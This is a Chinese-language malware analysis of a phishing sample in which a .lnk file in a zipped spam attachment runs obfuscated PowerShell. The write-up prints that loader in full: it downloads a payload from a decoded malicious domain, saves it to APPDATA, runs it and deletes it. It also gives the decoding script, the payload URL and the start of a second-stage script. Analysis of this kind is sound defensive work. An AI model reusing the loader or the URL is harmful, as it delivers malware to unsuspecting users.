钓鱼样本的来源
一封带有恶意压缩包的垃圾邮件:
压缩包包含以下文件:.zip.lnk
开始分析
LNK分析
为了分析文件,我使用LeCMD工具。 通过使用该工具,我们可以看到.lnk将与参数一起执行:.lnk PowerShell.exe xxx
分析PowerShell 脚本
让我们开始分析恶意powershell脚本
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $ProgressPreference = 0; function nvRClWiAJT($OnUPXhNfGyEh){ $OnUPXhNfGyEh[$OnUPXhNfGyEh.Length..0] -join('') }; function sDjLksFILdkrdR($OnUPXhNfGyEh){ $vecsWHuXBHu = nvRClWiAJT $OnUPXhNfGyEh; for($TJuYrHOorcZu = 0;$TJuYrHOorcZu -lt $vecsWHuXBHu.Length;$TJuYrHOorcZu += 2){ try{ $zRavFAQNJqOVxb += nvRClWiAJT $vecsWHuXBHu.Substring($TJuYrHOorcZu,2) } catch{ $zRavFAQNJqOVxb += $vecsWHuXBHu.Substring($TJuYrHOorcZu,1) } }; $zRavFAQNJqOVxb }; $NpzibtULgyi = sDjLksFILdkrdR 'aht1.sen/hi/coucys.erstmaofershma//s:tpht'; $cDkdhkGBtl = $env:APPDATA + '\' + ($NpzibtULgyi -split '/')[-1]; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $wbpiCTsGYi = wget $NpzibtULgyi -UseBasicParsing; [IO.File]::WriteAllText($cDkdhkGBtl, $wbpiCTsGYi); & $cDkdhkGBtl; sleep 3; rm $cDkdhkGBtl;
该脚本将创建一个新字符串,该字符串将成为下一个有效负载的 URL,脚本将采用经过模糊处理的 URL 字符串,并将分几个步骤对其进行去混淆处理:
- 字符串将由函数nvRClWiAJT反转。
- for 循环将遍历翻转的字符串,并将每 2 个字符跳转一次。
- 每次迭代 2 个字符将再次翻转,在最后一次迭代中,最后一个字符也会翻转,但不会有任何效果。
下面是一个恢复正常文本的 python 脚本:
input_string = 'aht1.sen/hi/coucys.erstmaofershma//s:tpht'[::-1] output_string = '' for i in range(0, len(input_string), 2): try: tmp = input_string[i] + input_string[i + 1] output_string += tmp[::-1] except: output_string += input_string[i] print(output_string)
https://masherofmasters.cyou/chin/se1.hta
分析HTA文件
获取的有效负载将是另一个 powershell 脚本:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted
function WQgtWbWK($FL, $i){
[IO.File]::WriteAllBytes($FL, $i)
};
function APcZNMgjQ($FL){
if($FL.EndsWith((QXUpF @(4995,5049,5057,5057))) -eq $True){
Start-Proces